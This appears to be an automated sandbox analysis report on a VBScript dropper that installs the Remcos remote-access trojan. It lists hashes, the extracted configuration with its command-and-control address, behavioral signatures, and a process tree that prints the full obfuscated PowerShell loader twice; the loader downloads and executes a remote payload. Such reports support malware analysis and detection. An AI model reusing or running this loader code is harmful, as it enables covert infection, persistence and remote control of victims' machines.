Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
23-12-2024 05:40
Static task
static1
Behavioral task
behavioral1
Sample
Rokadernes.vbs
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
Rokadernes.vbs
Resource
win10v2004-20241007-en
General
-
Target
Rokadernes.vbs
-
Size
71KB
-
MD5
693321a98dce16a4369d750bac3c4fb0
-
SHA1
cadf2497394e79cfd3c02a4f5bbb1adb6503d29c
-
SHA256
d719392462e09d59474cafa8d7b107d4e3063a664a51e87c5e2b750cf100be69
-
SHA512
8e97a99d8c64243fb6a348703d5bde412e599064162fc44be9f07cc28c78fff28720cce03df253c8537dd370abbaad0748fa02f2b828a64b54c6504d4eeaf1c5
-
SSDEEP
1536:mYzMve/RmHTWUZnz7FcfIJVd00cYiEzYfOEt2b4:mYiepmzWqz5tJ300bz9Et2b4
Malware Config
Extracted
remcos
RemoteHost
87.120.120.51:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
true
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-6US4Y7
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Remcos family
-
Blocklisted process makes network request 3 IoCs
flow pid Process 6 4940 powershell.exe 23 4036 msiexec.exe 25 4036 msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 3136 remcos.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rmc-6US4Y7 = "\"C:\\ProgramData\\Remcos\\remcos.exe\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Rmc-6US4Y7 = "\"C:\\ProgramData\\Remcos\\remcos.exe\"" msiexec.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4036 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 816 powershell.exe 4036 msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language remcos.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4940 powershell.exe 4940 powershell.exe 816 powershell.exe 816 powershell.exe 816 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 816 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4940 powershell.exe Token: SeDebugPrivilege 816 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 5072 wrote to memory of 4940 5072 WScript.exe 82 PID 5072 wrote to memory of 4940 5072 WScript.exe 82 PID 816 wrote to memory of 4036 816 powershell.exe 93 PID 816 wrote to memory of 4036 816 powershell.exe 93 PID 816 wrote to memory of 4036 816 powershell.exe 93 PID 816 wrote to memory of 4036 816 powershell.exe 93 PID 4036 wrote to memory of 3136 4036 msiexec.exe 94 PID 4036 wrote to memory of 3136 4036 msiexec.exe 94 PID 4036 wrote to memory of 3136 4036 msiexec.exe 94
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rokadernes.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Telekabler; function Katukina($Fangedragters){$Havanlggene=4;$Protestantiskes=$Havanlggene;do{$Commissionship161+=$Fangedragters[$Protestantiskes];$Protestantiskes+=5} until(!$Fangedragters[$Protestantiskes])$Commissionship161}function Myndiges($Molossian120){ .($Butleress) ($Molossian120)}$Katalogbestilling=Katukina ' ovlnTommE ejutAppe.BesvW';$Katalogbestilling+=Katukina 'B kkEAff.BU secSnitLBajai FilEFor nNonrT';$Sylterne=Katukina 'FortM S joSirezAnbeiSkablThrol,hroaOpre/';$Nonagricultural=Katukina 'Non TSnerlStarsRuff1Revi2';$duplicand='Slot[AnskNHypeeEtm tC ll.P gmsLimnE Ba RContvListIOverCOverEHa nP StaotidsI,kolnkl,pt SinMBec.A,quiNSammABarsgAfstEformrlege]Ove.:Om r:Bhmns ribE A.lC ,otU goeRVejai Pu,tMondyObskpGasvr Pr.ofru.tKanooBol cTe.moSperlRech=mi l$ ftenHum O ystNPresACounGGappRSigii OupcShrau acklStutTTo.dUFigeR.harAReacl';$Sylterne+=Katukina 'Stil5Stin. Mag0Sold Graa(Lo rWSystiMyxon Pred runoHellwMests Pla FrodNBirtT He V.s1 Ble0Temp..ili0Lill; Pol Ka.eWIm ei onan K i6N,ns4Sulu;Kati Des,xVe.s6gtev4Cusp;Dial KainrRaphvKomm:Slbe1Liti3 Ue 1Tyra.smaa0So k) Mya ,ecoGBogeeRye.cHospkOptroOeer/aspe2Phe 0Sequ1Topn0Disl0Rets1 .lv0Rist1 ,ch Kr oFGlaii lcrScaleUnrufstoroNon,xTyra/Di p1Gris3Give1 Pul.Oxyh0';$Konfigurationsmanualers=Katukina 'JustUlettSAuspEProtRVitr-EndaaRastGMotoeDro nMil T';$Injuriesag=Katukina 'MashhFrictGazetNoncpBefrs Ana:Fl n/St d/Petuo Towf Met1,armxT.is. Onci No cU deu .ub/ShamCOppoAKur.CPrenZLi ikMacrc D.rP ungfWh.l/ ovsS BegcBorehDronmTeleeSrgeetoporRe h.GrunaUnjec nata';$Taxiflyene192=Katukina 'P.em>';$Butleress=Katukina ' Auti eroE D vX';$grubledes='Tyrolervalsene';$overgreasiness='\Wealthmaking.Asr';Myndiges (Katukina 'Inds$anstGGl elUngroTornBR.nda osalSeab:skudaGlanSOverYDoweMUnimPdef,T El Oammot,elaeB dtST,oj=K rt$IndbeForsn Na V Spe:E.kaaGoldpRakkp AhmDQuanaNeglTAffaaSarg+Arsi$SkriOSafiVBarte IntRHoloGHistRPyloe,lipaSammsOverISt.tN OpbeTol s lavs');Myndiges (Katukina 'Olde$J,goG EndlKrito xtrBAcetAGarrlPlat:FisscKe.oHRenloPricKBrilsVl eTvet ATrmlRTu gT Kale MulR Al nAfrueLa.i= Paa$OrdkiForsnArt.jCh fuN.rsrPhenI,ugueBlacsHemiasv,rGLyri.Fjers rdpStivL SupIFo,otJa.u( .en$Adgat n naLadyX ondiSubsF Sa LSo dyS inE SveN UnfeMoni1Ca a9 ose2Coa.)');Myndiges (Katukina $duplicand);$Injuriesag=$Chokstarterne[0];$Remail=(Katukina 'Syzy$PseuGCapnlE.riOAns b .ndaRomalGran:BunkuBi eTSpa ISkueLEtambSul j icreArrolBlndiuanegHy r=FlyuNRougEflatw K,e-FrumO,teabUnb J edERkescSnylTFabr g,nos adgY S pS MidtUndeEO ermExot. ,ar$S,nkKOnycaP ertDdssAAmphLRamno Fodg GalbAnsgeRhexsGer tRensiJockLa.elLF.mbiBasiNDuelG');Myndiges ($Remail);Myndiges (Katukina 'Kont$ elsUf.ortVeltiEquilH llbFluxjZooce Genl Awai ecog,han.,linH UbeeSaddaF emdisopePrajr ruksOphe[ Ike$UdlgKNytao,ickn etefMagniA sogPrinuKursrAfdea RoitUn.ciM,ljoHalvn ants StamStrbaPerlnG uruHandaO,felVolie PunrNo fsIn t]Alti=Skur$SupeSZoniy TralDodetAruge recrPergnCompe');$Frivoliteten142=Katukina 'Teks$ BotUFrkht AnfiProtl Fo bThesj ElgeOpnalP epiRet,gTran.UndiDDechoVu kwblsdn MillVggeoImmaaE sodP odFDueliLandlT gseData( He $Ski I.ermnHypojRegiuEularWondi RejesystsPiezaShamgWine,Comp$Boc MbanqoLydidHetevencaiFinanVaredTonse ontnSpid)';$Modvinden=$asymptotes;Myndiges (Katukina 'M.no$OpsugSediLgramO oodBN miaaab.LRoma:Su pDDaemeDecoTMaskABufoi TanLAudisKal tCrocUSkruDHatiI TjsE Ex.2Merc3Un i9o.er=Taen(Du,aTIsotESulfSHaanT Und-hyppp FruaMisstBaroH Awk s nd$ DozmBirsoSelvD aryV peaIUnepNS,ruDC ltEPicaN ,pl)');while (!$Detailstudie239) {Myndiges (Katukina 'Mois$Er lg ndklKonso Telb bnoaRadil Sur:FullSBrdfmUdryaUnculanhehFeriac sslUnaws gleegrupnSpigsU vi=Tri,$sandE rekfbankf njaeEn.in') ;Myndiges $Frivoliteten142;Myndiges (Katukina 'DelfsRo fTMatraNecrRBuegtRejs-ApplSU siLGla.eTituE Ra,pBrs For4');Myndiges (Katukina 'Heft$KombgLux.lFainoSexcB redA.nhaLForm:,advD PeteEuphtK otABefaiOpgalPakkSSolftAandu .enDMe aI No.E Do.2Over3Poli9 ri= ele(WhenTfilmEK stSBortT ul- BrepDebrAK,hotMen,H Pos Pe,u$NatimManioJo,dDAtteVWasti equnFo sD PhoeM stN U d)') ;Myndiges (Katukina ' oko$PseuG Disl ovoKonobAssea To.LSien:Sccjp Skrrops EOutseSwardUtiluKobbc arbaMesoTWhemePre dNedr=Gang$UningConcLEthnOPrecbS ccaHemiLAthl:LeveG K peAudiOIndbT VanrPhreoMiskpPolyITa.ssForumBer +Kred+Grov%Vile$ModecTeknHJadeoGranklgtnSFrusTForuA.harRPanhT,owlEStarrTvrenMobbEViol.TarocFo ooI dhUInten O et') ;$Injuriesag=$Chokstarterne[$Preeducated]}$Planeta=299772;$Makrokaldene218=31361;Myndiges (Katukina 'Vand$KortG BrnLslavOM ttBstorAA skLTiam:Di,ii AffD.kulyA laXPr.eKSrmrADggeT ekAInteLAc ioCairgSkureEyesR Hal Fja= rfe Vi.GBedueTrimtAfsl-ReteC UnmOPatenKultTProcETmreN let Bri Axin$,stemB reOMis,DB civGaudIShouNti tDB evESprjN');Myndiges (Katukina 'Exin$SnusgStral ZefoEnorb xya D,jl Omb:SterPDiscr Dego UsirLockeSubcxtu f Fors= Sta Semi[GumiSCeney PrisIdrttS lpeEx lmPark.GlosCKanooPe.cnAffiv pane delrF,rhtheks]Pers: wro:SammF CherIlmaoDisim Un BMus aStras Reke etr6vrng4 EmpSTelet Bl rNulzinonpnSalogPear(Bran$PeriIUnatdHer yForsx TilkDemia UnctAlk aI.eqlEurooSk.agFremeSkrarFaja)');Myndiges (Katukina 'Gra $,albgTripl reo UniBSe saErfaL C m:Rapij rbeA eeVS,teATilbnDaane aure lu6Tunn7Op n V.sc=Sand Besa[AfhoS NapyGlutsMiscTS.eae inuMfej . HertCroce VagXSkaltMe.v. DeseS ifNChilCRepoOEgetd KenImodsnHa dGs vk]Ant,: O s:G.ayaAnt s AddCBra,i R bISkr .Ge oGJenhEIndsTAnimsUndeT UndRAdspiNonwnUnwhgD.ta(Hy o$HovePMi,lR NovoIndlRUds Ew,neXIndr)');Myndiges (Katukina 'Offi$BrutgpettLBolioBandbano,aMajoLFly :AffakCentA Sktl,attDSkaaaLim,E GrueSkrmrRampeProa= her$ P.lj B raGen VFremaRetinHalmePresEgro,6 .ot7Mure. SupsImpuU KonB FugsLossT BelRMenaiDiscNAs,igFlos(Modu$Unmip Pa lfarmaPropn MimEViolT,ervAMeni,De.e$ToptmInteaBakskA ocr TknOEm.iKStifaSkylL excdBa,oESecrn Crie Hjh2Fo,m1Zing8 For)');Myndiges $Kaldaeere;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4940
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Telekabler; function Katukina($Fangedragters){$Havanlggene=4;$Protestantiskes=$Havanlggene;do{$Commissionship161+=$Fangedragters[$Protestantiskes];$Protestantiskes+=5} until(!$Fangedragters[$Protestantiskes])$Commissionship161}function Myndiges($Molossian120){ .($Butleress) ($Molossian120)}$Katalogbestilling=Katukina ' ovlnTommE ejutAppe.BesvW';$Katalogbestilling+=Katukina 'B kkEAff.BU secSnitLBajai FilEFor nNonrT';$Sylterne=Katukina 'FortM S joSirezAnbeiSkablThrol,hroaOpre/';$Nonagricultural=Katukina 'Non TSnerlStarsRuff1Revi2';$duplicand='Slot[AnskNHypeeEtm tC ll.P gmsLimnE Ba RContvListIOverCOverEHa nP StaotidsI,kolnkl,pt SinMBec.A,quiNSammABarsgAfstEformrlege]Ove.:Om r:Bhmns ribE A.lC ,otU goeRVejai Pu,tMondyObskpGasvr Pr.ofru.tKanooBol cTe.moSperlRech=mi l$ ftenHum O ystNPresACounGGappRSigii OupcShrau acklStutTTo.dUFigeR.harAReacl';$Sylterne+=Katukina 'Stil5Stin. Mag0Sold Graa(Lo rWSystiMyxon Pred runoHellwMests Pla FrodNBirtT He V.s1 Ble0Temp..ili0Lill; Pol Ka.eWIm ei onan K i6N,ns4Sulu;Kati Des,xVe.s6gtev4Cusp;Dial KainrRaphvKomm:Slbe1Liti3 Ue 1Tyra.smaa0So k) Mya ,ecoGBogeeRye.cHospkOptroOeer/aspe2Phe 0Sequ1Topn0Disl0Rets1 .lv0Rist1 ,ch Kr oFGlaii lcrScaleUnrufstoroNon,xTyra/Di p1Gris3Give1 Pul.Oxyh0';$Konfigurationsmanualers=Katukina 'JustUlettSAuspEProtRVitr-EndaaRastGMotoeDro nMil T';$Injuriesag=Katukina 'MashhFrictGazetNoncpBefrs Ana:Fl n/St d/Petuo Towf Met1,armxT.is. Onci No cU deu .ub/ShamCOppoAKur.CPrenZLi ikMacrc D.rP ungfWh.l/ ovsS BegcBorehDronmTeleeSrgeetoporRe h.GrunaUnjec nata';$Taxiflyene192=Katukina 'P.em>';$Butleress=Katukina ' Auti eroE D vX';$grubledes='Tyrolervalsene';$overgreasiness='\Wealthmaking.Asr';Myndiges (Katukina 'Inds$anstGGl elUngroTornBR.nda osalSeab:skudaGlanSOverYDoweMUnimPdef,T El Oammot,elaeB dtST,oj=K rt$IndbeForsn Na V Spe:E.kaaGoldpRakkp AhmDQuanaNeglTAffaaSarg+Arsi$SkriOSafiVBarte IntRHoloGHistRPyloe,lipaSammsOverISt.tN OpbeTol s lavs');Myndiges (Katukina 'Olde$J,goG EndlKrito xtrBAcetAGarrlPlat:FisscKe.oHRenloPricKBrilsVl eTvet ATrmlRTu gT Kale MulR Al nAfrueLa.i= Paa$OrdkiForsnArt.jCh fuN.rsrPhenI,ugueBlacsHemiasv,rGLyri.Fjers rdpStivL SupIFo,otJa.u( .en$Adgat n naLadyX ondiSubsF Sa LSo dyS inE SveN UnfeMoni1Ca a9 ose2Coa.)');Myndiges (Katukina $duplicand);$Injuriesag=$Chokstarterne[0];$Remail=(Katukina 'Syzy$PseuGCapnlE.riOAns b .ndaRomalGran:BunkuBi eTSpa ISkueLEtambSul j icreArrolBlndiuanegHy r=FlyuNRougEflatw K,e-FrumO,teabUnb J edERkescSnylTFabr g,nos adgY S pS MidtUndeEO ermExot. ,ar$S,nkKOnycaP ertDdssAAmphLRamno Fodg GalbAnsgeRhexsGer tRensiJockLa.elLF.mbiBasiNDuelG');Myndiges ($Remail);Myndiges (Katukina 'Kont$ elsUf.ortVeltiEquilH llbFluxjZooce Genl Awai ecog,han.,linH UbeeSaddaF emdisopePrajr ruksOphe[ Ike$UdlgKNytao,ickn etefMagniA sogPrinuKursrAfdea RoitUn.ciM,ljoHalvn ants StamStrbaPerlnG uruHandaO,felVolie PunrNo fsIn t]Alti=Skur$SupeSZoniy TralDodetAruge recrPergnCompe');$Frivoliteten142=Katukina 'Teks$ BotUFrkht AnfiProtl Fo bThesj ElgeOpnalP epiRet,gTran.UndiDDechoVu kwblsdn MillVggeoImmaaE sodP odFDueliLandlT gseData( He $Ski I.ermnHypojRegiuEularWondi RejesystsPiezaShamgWine,Comp$Boc MbanqoLydidHetevencaiFinanVaredTonse ontnSpid)';$Modvinden=$asymptotes;Myndiges (Katukina 'M.no$OpsugSediLgramO oodBN miaaab.LRoma:Su pDDaemeDecoTMaskABufoi TanLAudisKal tCrocUSkruDHatiI TjsE Ex.2Merc3Un i9o.er=Taen(Du,aTIsotESulfSHaanT Und-hyppp FruaMisstBaroH Awk s nd$ DozmBirsoSelvD aryV peaIUnepNS,ruDC ltEPicaN ,pl)');while (!$Detailstudie239) {Myndiges (Katukina 'Mois$Er lg ndklKonso Telb bnoaRadil Sur:FullSBrdfmUdryaUnculanhehFeriac sslUnaws gleegrupnSpigsU vi=Tri,$sandE rekfbankf njaeEn.in') ;Myndiges $Frivoliteten142;Myndiges (Katukina 'DelfsRo fTMatraNecrRBuegtRejs-ApplSU siLGla.eTituE Ra,pBrs For4');Myndiges (Katukina 'Heft$KombgLux.lFainoSexcB redA.nhaLForm:,advD PeteEuphtK otABefaiOpgalPakkSSolftAandu .enDMe aI No.E Do.2Over3Poli9 ri= ele(WhenTfilmEK stSBortT ul- BrepDebrAK,hotMen,H Pos Pe,u$NatimManioJo,dDAtteVWasti equnFo sD PhoeM stN U d)') ;Myndiges (Katukina ' oko$PseuG Disl ovoKonobAssea To.LSien:Sccjp Skrrops EOutseSwardUtiluKobbc arbaMesoTWhemePre dNedr=Gang$UningConcLEthnOPrecbS ccaHemiLAthl:LeveG K peAudiOIndbT VanrPhreoMiskpPolyITa.ssForumBer +Kred+Grov%Vile$ModecTeknHJadeoGranklgtnSFrusTForuA.harRPanhT,owlEStarrTvrenMobbEViol.TarocFo ooI dhUInten O et') ;$Injuriesag=$Chokstarterne[$Preeducated]}$Planeta=299772;$Makrokaldene218=31361;Myndiges (Katukina 'Vand$KortG BrnLslavOM ttBstorAA skLTiam:Di,ii AffD.kulyA laXPr.eKSrmrADggeT ekAInteLAc ioCairgSkureEyesR Hal Fja= rfe Vi.GBedueTrimtAfsl-ReteC UnmOPatenKultTProcETmreN let Bri Axin$,stemB reOMis,DB civGaudIShouNti tDB evESprjN');Myndiges (Katukina 'Exin$SnusgStral ZefoEnorb xya D,jl Omb:SterPDiscr Dego UsirLockeSubcxtu f Fors= Sta Semi[GumiSCeney PrisIdrttS lpeEx lmPark.GlosCKanooPe.cnAffiv pane delrF,rhtheks]Pers: wro:SammF CherIlmaoDisim Un BMus aStras Reke etr6vrng4 EmpSTelet Bl rNulzinonpnSalogPear(Bran$PeriIUnatdHer yForsx TilkDemia UnctAlk aI.eqlEurooSk.agFremeSkrarFaja)');Myndiges (Katukina 'Gra $,albgTripl reo UniBSe saErfaL C m:Rapij rbeA eeVS,teATilbnDaane aure lu6Tunn7Op n V.sc=Sand Besa[AfhoS NapyGlutsMiscTS.eae inuMfej . HertCroce VagXSkaltMe.v. DeseS ifNChilCRepoOEgetd KenImodsnHa dGs vk]Ant,: O s:G.ayaAnt s AddCBra,i R bISkr .Ge oGJenhEIndsTAnimsUndeT UndRAdspiNonwnUnwhgD.ta(Hy o$HovePMi,lR NovoIndlRUds Ew,neXIndr)');Myndiges (Katukina 'Offi$BrutgpettLBolioBandbano,aMajoLFly :AffakCentA Sktl,attDSkaaaLim,E GrueSkrmrRampeProa= her$ P.lj B raGen VFremaRetinHalmePresEgro,6 .ot7Mure. SupsImpuU KonB FugsLossT BelRMenaiDiscNAs,igFlos(Modu$Unmip Pa lfarmaPropn MimEViolT,ervAMeni,De.e$ToptmInteaBakskA ocr TknOEm.iKStifaSkylL excdBa,oESecrn Crie Hjh2Fo,m1Zing8 For)');Myndiges $Kaldaeere;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:816 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4036 -
C:\ProgramData\Remcos\remcos.exe"C:\ProgramData\Remcos\remcos.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3136
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
58KB
MD59d09dc1eda745a5f87553048e57620cf
SHA11d0c7cfca8104d06de1f08b97f28b3520c246cd7
SHA2563a90ede157d40a4db7859158c826f7b4d0f19a5768f6483c9be6ee481c6e1af7
SHA5122be940f0468f77792c6e1b593376900c24ff0b0fae8dc2e57b05596506789aa76119f8be780c57252f74cd1f0c2fa7223fe44ae4fa3643c26df00dd42bd4c016
-
Filesize
1KB
MD5e60635010b08caacd102600f0cbf7b8a
SHA1426fc50efc506813fafe64ffac9409959e829ee7
SHA25682625676e5cada386641eec46db64c792ef2391e699d6d739b37a24d71ed351a
SHA51241bd62aaac472ad7820515de1c91a206bc3bce4ef341d198edf4de23be562dea15a72046ed972a8f335e0c50c47b88e1f97b78e9cbbb2400effbc62110cadb14
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
431KB
MD5e03d2d397ed28d6b14bef58a8d4d458d
SHA17d4576f4e95fce89c46f8938e4878e4978451064
SHA2563431efe72e7264a06276d165454755c1a1f98b0f57132c43f8369db6b3c6324a
SHA512ff97033c57032e8f65334183d70c44f3d4b95151e27605aab48a68cd5dd53278ae43f8004f96d38f218c3a8d320ebf329c342199f8987691240f45855ad8ed34